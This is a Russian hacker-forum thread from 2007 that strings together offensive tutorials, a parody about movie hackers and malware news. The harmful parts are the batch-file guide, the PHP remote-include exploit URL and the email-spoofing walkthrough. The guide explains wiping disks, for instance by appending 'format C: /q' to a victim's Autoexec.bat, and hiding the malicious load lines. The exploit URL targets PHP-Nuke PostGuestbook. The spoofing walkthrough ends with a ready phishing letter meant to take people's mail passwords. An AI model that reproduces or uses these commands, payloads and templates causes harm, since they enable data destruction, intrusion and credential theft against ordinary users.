Некоторые провайдеры (и чем дальше, тем больше таких появляется) фильтруют трафик своих клиентов на предмет подделки адреса отправителя. Есть большая вероятность, что возможнось спуфинга ограничивается подсетью класса C. Кроме того, хост, адрес которого указывается в запросе на подключение, не должен реагировать на ответы сервера - проще всего выбрать адрес, на котором нет машины. При практической реализации, особенно создавая универсальный инструмент для координированной атаки, нужно учитывать эти две особенности, и проводить атаку только со своей подсети и с тех адресов, которые не отвечают. Еще одна проблема - для проведения атаки необходимо иметь администраторские привелегии.
Программная реализация.
Для реализации подходит как unix, так и windows-платформы. Программа должна запускаться с правами root и администратора соответственно. Под unix много готовых реализаций, например, synk4.c (искать поисковиками). Специализированные для координированых DDoS-атак реализации найти сложнее, но при минимальных навыках программирования можно доработать существующие или создать свои.

Кроме стандартных сырых сокетов, D0minat0r из Nerf нашел очень красивый способ реализации SYN flood под linux, на других юниксоподобных не тестировалось, на win не работает. Linux позволяет root'у биндить сокет к любому адресу, в т.ч. не принадлежащему локальному хосту. После этого можно вызывать connect() для этого сокета, и локальный хост пошлет SYN-пакет от адреса, к которому прибинжен сокет. Если сокет был в неблокирующем режиме, то сразу после connect() можно вызывать close(), и повторять операцию.

Реализации под windows встречаются реже, из-за расхожего мифа о невозможности генерации сырых пакетов в этой OS. На самом деле, win98 поддерживает сырые сокеты уровня до заголовка IP, а win2k и XP - и заголовок тоже (опция IP_HDRINCL), т.е. реализация атаки под win2k и XP отличается от юниксовской лишь несколькими строчками. Готовая реализация от меня, проверенная на win2k, лежала одно время на www.nerf.ru, но после смены хостинга, моего ухода из этой группы и форматцевта потерялась. Если у кого-то сохранилась - свяжитесь, плиз, выложу.
Механизмы защиты OS от SYN-flood.

a) Стандартный таумаут. Полуоткрытые соединения по прошествии некоторого времени выбрасываются из буфера. При истощении буфера запросы клиентов на подключение будут проходить с вероятностью C1/C2, где C1 - количество SYN-пакетов от клиента, C2 - количество SYN-пакетов от всех остальных (включая атакующего). Даже при нагрузке на канал атакующего в 6 пакетов в секунду C1/C2 - примерно 1/100, т.е. служба выведена из строя на 99%.

б) Безлимитный буфер полуоткрытых соединений. При нагрузке на канал атакующего 100 Mb/сек и таймауту около минуты очередь полуоткрытых соединений будет занимать примерно 1 Gb памяти, что для крупных серверов не смертельно. Побочный эффект: атакуемый сервер отвечает трафиком, в 3 раза большим, чем трафик атакующего (говорят, что происходит DDoS с умножением в 4 раза), что может привести к истощению пропускной способности канала. Однако, при невозможности истощить ширину канала, защита от атаки будет абсолютной, ни одно клиентское соединение не будет отвергнуто.

в) Очистка наиболее старых полуоткрытых соединений. При переполнении буфера из него удаляется самое старое полуоткрытое соединение. Побочный эффект: если при атаке буфер заполняется за время t, то клиент не сможет подключиться во время атаки, если время подтверждения соединения больше t - его запрос тоже будет выброшен. Например, для нагрузки канала атакующего 4 Мбит/сек и длины буфера 512 (рекомендуемое значение для Win2K) время t - около 50 msec, что гарантированно отбросит все попытки подключения к серверу с диалапа и многие - с выделенных линий. Увеличивая размер буфера, защиту можно свести к предыдущему варианту.

г) SYN COOKIE. После истощения буфера информация, которая не помещается в буфер, отсылается клиенту, который якобы запросил ее. Если клиент - настоящий, то он возвращает информацию обратно, если поддельный - она теряется, причем механизм реализован в рамках RFC по TCP, т.е. его поддерживают и клиенты, не знакомые с этой технологией. Операционная система c SYN COOKIE, независимо от размера буфера полуоткрытых соединений, совершенно неуязвима для SYN-flood атак. Побочный эффект: запрет "больших окон".

Резюме: SYN-flood атака морально устарела, и сегодня может использоваться в лучшем случае в качестве обычной flood-атаки на превышение пропускной способности канала.

[EOF]


[Статьи:Описание и фишки batch файлов..дата:---------.Ссылка:http://old.antichat.ru/txt/old/dhgroup/bat.shtml.]

Для начала давай разбёремся в том, что же такое batch'и. Прежде всего - это пакетные дос файлы, которые содержат в себе в ascii виде набор досовских команд. По-русски говоря, bat файл содержит в себе скрипт, интерпритатором служит command.com.
Поясняю: после прочтения этой статьи, ты сможешь писать проги, которые удаляют системные файлы, форматируют диски и тд. Главное, тебе для этого понадобится только блокнот и прямые руки, никаких компиляторов и дебагеров не требуется (бачи не такие примитивные, как тебе кажется - есть вирусы\генераторы, на них написанные).
И ещё. Я не буду описывать все возможные флаги(параметры) каждой команды, только наиболее полезные.
Ну чё, готов? Поехали!

Простые команды:
Для начала давай разбёремся в том, что же такое batch'и. Прежде всего - это пакетные дос файлы, которые содержат в себе в ascii виде набор досовских команд. По-русски говоря, bat файл содержит в себе скрипт, интерпритатором служит command.com.
Поясняю: после прочтения этой статьи, ты сможешь писать проги, которые удаляют системные файлы, форматируют диски и тд. Главное, тебе для этого понадобится только блокнот и прямые руки, никаких компиляторов и дебагеров не требуется (бачи не такие примитивные, как тебе кажется - есть вирусы\генераторы, на них написанные).
И ещё. Я не буду описывать все возможные флаги(параметры) каждой команды, только наиболее полезные.
Ну чё, готов? Поехали!
Простые команды:

echo off - запрещение вывода на экран исполняемых команд (on - вкл.)
deltree /y %файл% - удалить файл (/y означает "удалить без вопросов"). Кста, в НТ работает тока del (флаг /y не нужен).
copy %путь\файл% %куда\файл% - копировать файло
mkdir %название_диры% - создать директорию
echo %текст% - вывести текст на экран
echo %текст% > %путь\файл% - создать файл и вписать в него текст
echo %текст% >> %путь\файл% - добавить текст в уже существующий файл
if exist %путь\файл% %команда% - если существует файл, выполнить команду
attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)
start %путь\файл% - запустить файло
cls - отчистить экран
pause - выводит сообщение "Нажмите любую кнопку..."
label %новая_метка% - поставить новую метку системного диска (диск С)
format %диск%: /q - быстрое форматирование диска smile.gif Несколько секунд
ren %путь\файл% %новое_название_файла% - переименовать файло
goto %метка%
...
...
...
:%метка% - перескoчить с одного места кода на метку.

Фишки, хитрости:
1: choice /N /T:y,%сек% > nul - типа таймера (на n секунд задерживает выполнение последующих команд).

2: %команда% > nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде "copy"). Пример: copy c:\some.exe %windir%\some.exe > nul

3: regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов

4: start /m /w %путь\файл% - запустить файло в свёрнутом окне.

5: слышал про файл Autoexec.bat? Знаешь, что он грузится вместе с компом? Наверное, да. Так вот, он имеет расширение BAT. На что я намекаю? На то, что ты можешь в него прописать строчку, к примеру, "format C: /q" (прописывается она вот так: echo format C: /q >> c:\Autoexec.bat) и во время перезагрузки у жертвы отформатируется диск С.
Это я к тому, что любой скрипт, вставленный в этот файл, будет выполнен при загрузке компа. Также можешь создать в каталоге с виндой файл winstart.bat. Он также запуститья виндусом.

6: это относиться как раз к фишке с Autoexec'ом. К примеру, если ты положишь в каталог windows\command файл к примеру "load.bat" (наверное с плохим содержанием), это файлу из autoexec'a с вероятностью в 90% можно будет запустить строчкой "load". И это ещё отстой..Ты сможешь загружать это файло такой строчкой: "load keybrd32.sys,,cyr\lat" или такой: "load VideoAdapter32.drv -- By windows setup --". Врятли такие строчки рискнёт кто-нибудь удалять и твоё файло без трабл загрузится..=)

7: if exist c:\Progra~1 set drv=c:
if exist d:\Progra~1 set drv=d:
if exist d:\Progra~1 set drv=e:
После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files'ами.

8: в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe

9: batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять "~1", к примеру "Program Files -> Progra~1"). Пробелы он просто убирает (The Bat -> TheBat~1).
Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).

10: echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js

Этот скрипт выводит на экран _Виндовое_ окошко (по средствам Java Script) с твоим сообщением и кнопкой ОК.
Ну вот наверно и всё! Здесь я умолчал о переменных, циклах и создании меню в batch'ах, так как это довольно объёмные темы. Следующая статья будет как раз посвещена им.


[EOF]


зы: Все ссылки предоставлены трафика первой категории(!АХУТНГ!)
зы2: Хакер - не преступник. Взлом - для искусства. Смысл - в свободе.


Сообщение отредактировано CL!F - 21.07.2007 - 14:46
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 20.08.2007 - 02:56

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Откопал еще нового. Чото странно никаких эпидемий вирусов. Затишье, не то что зимой))
Я думаю все помнят NSD.ru хорошей сайтег был)) Tristram kazeL)
немного багов в сайтах и системах.
отжиг:

Отказ в обслуживании в Microsoft Windows Calendar
Программа: Microsoft Windows Vista

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в проверке входных данных при обработке ISC файлов. Атакующий может передать специально сформированные ISC файлы, что приведет к краху Windows Calendar после того, как установлено напоминание.





PHP-инклюдинг в PHP-Nuke Module PostGuestbook
Программа: PHP-Nuke Module PostGuestbook 0.6.1

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «tpl_pgb_moddir» сценарием header.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

[VicTim]/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=Shell.php?





извините что сеня так мало вот в течении 10 - 20 дней перед 1сентября или чуть позже будет аццкий фак по хакер-world'y
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 21.10.2007 - 01:24

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Извините что так долго не пишу. Теперь из-за работы времени категорически не хватает. На данный момент материал есть нужно закончить и выложить. Скоро. Оч скоро.
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 24.10.2007 - 00:16

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Посмеемсо? ДА!



Идеальный хакерский взлом глазами зрителя кинобоевика
Облаченный в потертые джинсы и майку с надписью «Windows must die», попивая пиво, хакер небрежно поглядывал на 4 ЖК монитора и ловко стучал по клавишам не пользуясь пробелом. Через 8 секунд после начала взлома, Защитная Система сервера Пентагона отключилась от портативного ядерного реактора и потеряла всякий здравый смысл. Сервер, закопанный на глубине двух километров под пустыней Мохаве, покорно сдался ловким пальцам взломщика и позволил слить 6 триллионов гигабайт информации. Хакер перенаправил поток положительных нейтрино с генератора на сервер и локальным ядерным взрывом стёр все логи.

Заказ был выполнен, информация – отправлена суровым челябинским хакерам. Суровые челябинские хакеры были настолько суровы, что интернетом не пользовались в принципе. А к компьютерам подходили только ночью, когда весь Челябинск засыпал. Поэтому заказ в Челябинск шёл обычной почтой, которую, естественно, просматривала автоматизированная система поиска хакеров СОРМ-19. Пакет данных перехватило региональное отделение ФСБ России, работавшее на Таджикскую военную группировку «Кибернетический Джихад 2008».

Суровые челябинские хакеры, которые никогда не пользовались хакерским софтом, а ломали html голыми руками, внедрили среди таджиков первого в мире хакера нетрадиционной сексуальной ориентации. Хакер, к тому же, был телепат и мог взламывать сети вообще не пользуясь компьютером. Только ему удалось расшифровать данные сервера пентагона и установить, что в них находятся доказательства контакта Искусственного Интеллекта с инопланетянами. Телепатически шантажируя Искина, хакер получил полный root над кибернетическими инопланетянами, взломал матрицу вселенной и перезагрузил код бытия…

…Пвсевдотаджикский гомохакер-телепат в майке «Разумное. Доброе. Вечное. Это не про меня», попивая пиво, небрежно поглядывал на 4 ЖК монитора и ловко стучал по клавишам загружая ИИ обратно в сервер, домой...

Да, такого поворота событий зритель никак не ожидал и выходил с кинопремьеры «Skynet vs. Matrix» с маниакальным страхом перед любым электронным устройством и щуплым очкастым ботаником.


Идеальный хакерский взлом глазами хакера (nuscul)
Проснувшись на клавиатуре и оглядевшись мутным взглядом лабораторной мыши хакер заметил следы чужого присутствия: на мониторе бежала матрица символов, двигалась и мигала веб-камера, системный блок гудел так, словно вместо кулера стояла турбина от Су-37... Вообще-то, и правда стояла… Knock, knock Neo… написал компьютер. «Получилось!» - подумал хакер и поприветствовал ИИ-1 Melissa. Разумная электронная жизнь, созданная гением выпускника МФТИ, с лёгкостью сломала все пассы от платных буржуйских порносайтов. Через неделю хакер умер от истощения.


Идеальный хакерский взлом глазами хакера (odscul)
На модифицированной Motorola Timeport 260 хакер просканировал пространство в поисках WiFi-точек доступа у сверхсекретного военного телекоммуникационного узла Москвы, расположенного, как всем известно, в районе станции метро Маяковская.

Вардрайвер оказался на редкость удачливым: в районе Узла (известного также как Объект-42) нащупал незащищенную сеть 802.11. Nmap для WM5 выдал хакеру контроллер позиционера спутниковой системы DiSEqC с поддержкой SNMP! А таким устройством можно наводить спутниковую антенну, оборудованную моторчиками, на любую точку в небе...

Пароль для управления оказался по умолчанию: public на чтение, private - на управление. Детальный анализ соседних IP-адресов дал потрясающий результат - трансивер AmSat, кодировщик и модем Prodelin. И все - с паролями по умолчанию.

Уже через пятнадцать минут дрожащими от волнения пальцами хакер написал программку для репозиционирования антенны на координаты геостационарного командного спутника из группировки Глонасс-М, перенастроил трансивер на частоты 1237-1262 МГц и подобрал сеансовый ключ шифрования для канала управления. Последнее оказалось сложнее всего, частоты процессора коммуникатора в 520 Мгц едва хватило бы на вычисление 42-битного ключа до того, как спутник уйдет за горизонт, но вот рамочный алгоритм вычисления хеш-коллизий подобрал ключ всего за 12 минут.

Хакер нажал Enter и получил контроль над спутником… всего на полчаса. Потом сеансовый ключ поменялся и спутник ушёл за горизонт. Но этого времени вполне хватило, чтобы передвинуть координаты? транслируемые спутником, и обрушить Боинг-787 рейса Нью-Йорк-Мурманск на полярную исследовательскую станцию Объект-18. В результате чудовищной катастрофы от питания был отключен главный распределительный узел арктического моногазопровода. Северная часть Европейского региона России осталась без газоснабжения. Паника, беспорядки, марши протеста несогласных, блондинки выпрыгивали из офисов небоскрёбов. Воспользовавшись всенародным хаосом хакер взломал сервер Федеральной Антимонопольной Службы России, перевёл на своё счёт двадцать пять миллиардов долларов и уплыл на сверкающей яхте в сторону заката.


Идеальный хакерский взлом глазами ламера
Хакер садится перед компьютером, делает хороший глоток крепкого кофе с коньяком и стучит по клавише Enter пять или шесть раз. Одновременно в машине оживает «комплекс вредоносных программных средств», который и делает за хакера основную работу. Мутант.exe хаотично меняет IP адрес хакера в диапазоне от нуля до плюс квадрата бесконечности, Ломалка.exe стирает в цементную пыль чистый HTML, Lamousers.exe проводит XSS прямо внутри головного мозга пользователя. Брутфорс апокалипсиса (написанный на языке майя), вооруженный универсальным словарем всех возможных символов человечества добывает пароли к военным серверам.

Но самое главное оружие в арсенале Хакер – ]]>Protocol.slom]]>. Открыв протокол http с помощью такой программы хакер видит две папки: www и wap. В папке www прячутся папки ru, net , com, ua и другие. Открыв папку ru хакер видит весь список сайтов, которые есть в зоне ru. И получает доступ к любому сайту. Взлом мыла на Mail.ru прогой Protocol выглядит примерно так: открывается http, в ней папка www, RU, Mail и открывается доступ к сайту и к базе данных всех паролей. Все программы разработаны на чистом Pascale слепым десятипальцевым методом хаотичного попадания по клавишам, существуют только в единственном экземпляре и стоят немыслимые 110 WMZ.


Идеальный хакерский взлом глазами разработчиков защитного ПО
Хакер-фундаменталист, почётный член Бригады Мученников Аль-Аксы, заносит всевозможные жучки во все возможные места – исходные тексты программ, ядра операционной системы, статические и динамические библиотеки, SUID-ные программы, компиляторы и дистрибутивы операционной системы. Методами социальной инженерии, а где просто подкупом вызнаёт все секреты у персонала, от уборщицы до главы службы безопасности в практически каждой компании, занимающейся IT. Устраивается на работу в Microsoft и самостоятельно внедряет в новую версию Windows все возможные хакерские инструменты. Добровольцем помогает во всех Open Source проектах. Создает искусственный интеллект, единственная цель существования которого – взлом всего сущего.

После чего хакер вставляет в голову 300 несовместимых с жизнью грамм свинца, оставляя обычных пользователей в раздумьях: «Вот этот вот антивирус, он ведь походу засасывает вирусы с интернета, а? А вот этот вот фаервол походу сливает мои данные в сеть…»


Идеальный хакерский взлом глазами системного администратора
Системный администратор просыпается в незнакомой квартире, с разрывающейся от болью головой и мерзким привкусом во рту. Рядом на кровати спит обнажённая блондинка, мерно вздыхая грудью третьего, нет, даже четвертого размера. По полу разбросаны битые стеклянные бутылки, прожженные пластиковые бутылки, рваная одежда, еда и просто бесформенный мусор. Админ с трудом поднимается и идёт на работу, напоследок оставляя блондинке свой номер телефона, а мало ли чо ково и как ещё…

Через три дня он получает зараженную троянцем mms.


Идеальный хакерский взлом глазами любимой мамы
Хакер приходит со школы домой, открывает учебник «От Basic до FreeBSD глазами квантового пришельца», старательно программирует по инструкции, затем делает уроки и идёт во дворик погулять. А вечером к нему приезжают суровые дяди из ФСБ и предлагают работать «на родину… за государство…» Хакер вежливо отклоняет их предложение, мол, я сначала нобелевскую премию по квантовой телепортации алгоритмов кэширования блоков памяти получу, а потом приду к вам работать. Суровые дяди из ФСБ настолько суровы, что могут избить даже хакера традиционной сексуальной ориентации. Весь в крови и губной пома… то есть весь в крови и гематомах хакер клянется матери никогда не подходить к компьютеру и выучиться на нейрохирурга.


Идеальный хакерский взлом глазами извращенца
Хакер чувственно, нежно соприкасается пальцами с клавишам… Ладошкой поглаживает мышку… Самый большой палец вплотную прижимается к кнопочке... Надавливает на неё… Нежно, но неотвратимо… И она подчиняется... Продавливается вглубь… Ещё раз… Ещё…

И начинается взлом… Система сопротивляется, но недолго… Демонстрирует свои самые уязвимые места… Хакер ищет дырочку… И находит её… Проникает внутрь… Такой сильный, такой непоколебимый… Хакер доминирует над системой... Принуждает делать то, чего ему хочется… Он исследует все её дырочки… Копошится в самом нутре, юркий как мышка… Внутри, где незаметно для тех, кто снаружи… А натешившись отпускает... И уходит даже не попрощавшись.


Идеальный хакерский взлом глазами анимешников
Поток команд в красивом 3D оформлении в стиле кунг-фу мутузит охранные системы. Ведь каждый уважающий себя хакер только так и взламывает охрану. Известный факт. Пробившись через двадцать семь колец подвижного кода, хакер выходит на главного босса – электробитовое воплощение Системного Администратора Центрального Сверхсекретного Сервера Инопланетных Технологий. Хакер стучит по клавишам так, что отваливаются кнопки, во всём городе гаснет электроэнергия, но пять субъядерных генераторов поддерживает поток напряжения. Администратор отвечает коронным ударом Тибетской Школы Информационной Безопасности, компьютер взломщика плавится от напряжения. Хакер отбивается тройным фаерболом и контрударяет самым страшным заклинанием Чёрной-Жёлтой Книги Хакеров (известной так же как самоучитель Windows Server 2008). Раненый, но не добитый Админ подгружает дополнительные мощности и выстраивает Зеркальную Стену Абсолютной Защиты. Электроэнергия гаснет на всей планете. Следующая атака хакера оборачивается против него же. Истекая кровью, последним усилием хакер достаёт флешку с Оружием Возмездия – вирусом тотально уничтожения, созданным богами древности на забытом в галактике языке Perl….

Битва окончена, планета лежит в руинах, но доступ к серверу открыт. Срабатывает автоматика, подгружаются данные и умирающий хакер получает наконец ответ на главный вопрос вселенной, мира и вообще всего: НЕЛЬЗЯ пропатчить KDE2 под FreeBSD!!!


Идеальный хакерский взлом
Взлом? Какой взлом?


===================================================================>
Плакаю над мелкими.


Корпорация Microsoft намерена представить новый функциональный язык программирования F#, который будет встроен уже в ближайшую версию среды для разработчиков Visual Studio. На сегодня F# создается силами подразделения Microsoft Developer Division.

Официальная дата языка F# (произносится как Ф-Шарп) пока не объявлена, однако в блоге ведущего специалиста Microsoft Developer Division говорится, что данный язык не является разработкой на один релиз, а будет развиваться в дальнейшем силами корпорации и сообщества сторонних разработчиков. Особенность F# заключается в том, что он строится на концепции функционального программирования, то есть программирования включающего в себя синтаксис, схожий с математическими формулами. Ориентирован новый язык будет на создание финансовых и научных программ. F# сочетает безопасность, производительность и скриптовые преимущества таких языков, как Python, говорят в Microsoft. F# будет иметь свои собственные библиотеки в среде .NET, сможет он работать как автономно, так и с операционной системой, промежуточным ПО и системами управления базами данных. Язык будет работать в среде Microsoft CLR и взаимодействовать со всеми системами .NET Framework. В корпорации надеются, что F# найдет свое применение в академической среде.

===================================================================>
Суровая правда

В Сети появился новый штамм ]]>трояна]]> Trojan.Bayrob, впервые обнаруженного в марте специалистами ]]>Symantec.]]> Сложный вредоносный код работает как прокси-сервер, подделывающий некоторые страницы ]]>eBay.com]]> и ряда других платежных сайтов. Пострадала, по крайней мере, одна покупательница – она перевела $8650 за автомобиль, но деньги попали мошенникам.

Троян устанавливает на захваченный компьютер упрощенный вариант веб-сервера, отображающего подставные страницы eBay.com, а также Carfax.com, Autocheck.com, Escrow.com и некоторых других ресурсов.

Вскоре после подачи заявки на участие в аукционе пользователь получает в почтовый ящик eBay («My Messages») сообщение о том, что он предложил самую высокую цену и может приобрести товар. В настоящем ящике сообщения нет – оно находится только на страницах, отображаемых трояном локально. Для покупки от пользователя требуют перевести деньги по указанным реквизитам.

Одна из пользовательниц eBay Motors таким образом перевела мошенникам $8650 за Джип Liberty 2005 г., выставлявшийся в течение 10 дней. Аукцион отказывается возместить ущерб, поскольку транзакция была проведена за пределами сайта.

Первоначально троян работал только для eBay. Новая версия «поддерживает» десяток сайтов

===================================================================>
Новый список болезней.
<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Downloader.JS. Agent.mp]]></H2>Троянец, который без ведома пользователя загружает на зараженный компьютер из сети Интернет другие вредоносные программы и запускает их на исполнение. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.Win32. VB.qq]]></H2>Троянец, который устанавливает и запускает другое программное обеспечение на зараженном компьютере без ведома пользователя.<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan.BAT. DelSys.d]]></H2>Троянская программа, выполняющая деструктивные действия на компьютере пользователя.<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Downloader.VBS. Small.fa]]></H2>Троянец, который без ведома пользователя загружает на компьютер из сети Интернет другие вредоносные программы и запускает их на исполнение. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Universal1337 (Trojan-Dropper.Win32.VB.rs)]]></H2>Троян-дроппер, написанный на Visual Basic.<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Unlimted PW Stealer ]]></H2>Немецкий троян для кражи паролей к различным программам и онлайн сервисам, не обнаруживаемый антивирусами на момент публикации статьи. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>XX Troyano]]></H2>Перуканский троян, написанный на Visual Basic22 октября, 2007 <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan Conective ]]></H2>Мексиканский троян, написанный на Delphi с GUI интерфейсом в стиле аниме<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan. Win32.Qhost.ml]]></H2>Троянская программа представляет собой модифицированный файл ОС Windows «%System%\drivers\etc\hosts», который используется для перевода доменных имен (DNS) в IP-адреса.18 октября, 2007 <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Downloader. VBS.Psyme.hx]]></H2>Троянская программа, которая без ведома пользователя загружает на компьютер файлы из сети Интернет. 18 октября, 2007 <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Worm.Win32. AutoIt.c]]></H2>Червь, создающий свои копии на локальных дисках и доступных для записи сьемных носителях.18 октября, 2007 <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Download 2 Root Webdownloader 1.00]]></H2>Небольшой троян-даунлоадер, не обнаруживаемый антивирусами на момент публикации статьи.<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.Win32.VB.om]]></H2>Троянец, созданый для скрытой установки в систему пользователя других троянских программ. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.Win32.VB.oj]]></H2>Троянец, созданый для скрытой установки в систему пользователя других троянских программ.02 октября, 2007 <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Worm.Win32. Skipi.a]]></H2>Вирус-червь, распространяющийся через сервис Skype. Рассылается по всем найденным на зараженном компьютере контактам Skype-клиента.<H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.Win32. VB.os]]></H2>Троянец, созданый для скрытой установки в систему других троянских программ. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.JS. Bomgen.e]]></H2>Троянец, который без ведома пользователя инсталлирует другие вредоносные программы на зараженный компьютер и запускает их на исполнение. <H2 style="MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px">]]>Trojan-Dropper.Win32. VB.or]]></H2>Троянская программа, созданая для скрытой установки в систему других троянцев. 21 сентября, 2007


===================================================================>
Мылим мылим. Не намылим.

=====
Intro
=====

В данной статье рассказывается, как отправить письмо так, чтобы в строке "От" стоял желаемый нами адрес. Естественно данного эффекта можно добиться настроив соответствующим образом ваш почтовый клиент (например, The Bat! (www.ritlabs.com)), но цель данной статьи научить вас работать с протоколом (SMTP) напрямую и объяснить как почтовый клиент отправляет почту.

========
Практика
========

Приступим. Вам надо зателнетиться к SMTP-серверу на 25 порт. Это можно сделать входящей в комплект к Windows программой telnet.exe, но т.к. данная программа достаточно неудобна я вам советую PUTTY (http://www.web-hack.ru/download/info.php?go=35). Чтобы зателнетиться надо ввести в командной строке следующие (сейчас и далее звездочкой (*) будет обозначаться SMTP-сервер, которые вы решили использовать для отправки письма от чужого адреса):

telnet.exe smtp.*.ru 25

В ответ этому коннекту вы должны получить, что то похожее на:

220 smtp.*.ru ESMTP Sende-mail 8.9.3/8.9.3; Mon, 27 May 2002 17:38:54 +0400 (MSD)

Код 220 означает: "Коннект к серверу прошел успешно". Теперь давайте возьмем за цель послать на адрес lamer@e-mail.ru письмо якобы от support@e-mail.ru . Далее даем команду:

helo e-mail.ru

Вот на этом шаге и выясниться поддерживает используемый вами SMTP-сервер отправку писем или нет. Если он не разрешает (зависит от многих причин связанных с настройкой), то выдаст код 500 со следующим содержимым:

500 Command unrecognized: {{}helo e-mail.ru"

В принципе это произошло и в моем случае, но хочу вам сказать, что многие SMTP-серверы настроены так, что могут вас и обмануть. Мне повезло, так как в данном случае сервер меня обманул и после повторного ввода команды helo e-mail.ru сервер мне ответил:

250 smtp.*.ru Hello 123.dial-up.prov.ru [111.222.111.222], pleased to meet you

Код 250 означает, что команда была верной и сервер ее принял. На будущее хочу сказать, что сервер может обманывать вас и более сильно (например, постоянно выдавая код 500, хотя команду он воспринял как верную). Далее пишем:

e-mail from: support@e-mail.ru

Выше введенная команда задает от кого якобы посылается письмо. Далее вводим:

rcpt to: lamer@e-mail.ru

Этой командой мы задали адрес почтового ящика на который будет послано письмо. Далее мы даем команду data и можем вводить текст письма, а после того как вы закончите его вводить нажмите на Enter, нажмите точку и опять Enter. В ответ на это вы получите:

250 RAA07552 Message accepted for delivery

Это будет сигнализировать об успешной отправке письма.

===============
Аттач в письмах
===============

Многие спросят, а как мне прикреплять к письмам файл и какая для этого служит команда. На самом деле такой команды нет и прикрепленные файлы отсылаются в обычном текстовом виде. Бинарник преобразуется в кодировку MIME base64 (для кодирования бинарника в языке PHP вы можете использовать функцию base64_encode(), а для декодирования base64_decode()) и помещается в теле письма между специальных дескрипторов. Более подробно об этой технологии вы сможете найти доки в любом поисковике.

==================
Способы применения
==================

Способ применения данной возможности (сабж) довольно широк: от обычных приколов над ламерами, до кражи их паролей. Успех кражи паролей зависит только от вашей фантазии и уровня знаний жертвы (очень часто прокатывает на девушках). Смысл заключается в том, чтобы написать письмо якобы от суппортов и убедить жертву отправить пароль от аккаунта на якобы робот системы. Текст письма может быть следующим:

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Здравствуйте, пользователь E-mail.ru!

Сегодня на нашем сервере E-mail.ru произошел сбой в системе и
регистрационная информация многих пользователей была потеряна. Мы
просим вас в кратчайшее время отправить письмо на адрес нашего робота
mail_robot@E-mail.ru в следующем формате в теме письма:

login=ваш логин на почтовый ящик;password=ваш пароль на почтовый ящик;

Таким образом, если ваш логин ivan, а пароль 12345, то вы должны
отослать письмо на адрес mail_robot@E-mail.ru в теме письма указав
следующие:

login=ivan;password=12345;

Убедительно просим вас в течении 2 недель с момента получения этого
письма выполнить действия указанные в этом письме или же мы будем
вынуждены по истечении этого срока удалить ваш почтовый ящик.
Приносим вам извинения за предоставленные неудобства.

--
С уважением,
Служба технической поддержки сервера E-mail.ru
support@E-mail.ru
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

В большинстве случае не грамотный пользователь отправит свой пароль. Хочу заметить, что некоторые почтовые службы фильтруют письма отправленные якобы от их административных ящиков (например, так делает служба mail.ru). Выход из данной ситуации все равно есть - нужно немного модифицировать адрес отправителя (support@e-mail.ru). Например заменить похожие буквы латинского алфавита (u,o,p) на русские или поставить две точки.

===========================
Безопасность злоумышленника
===========================

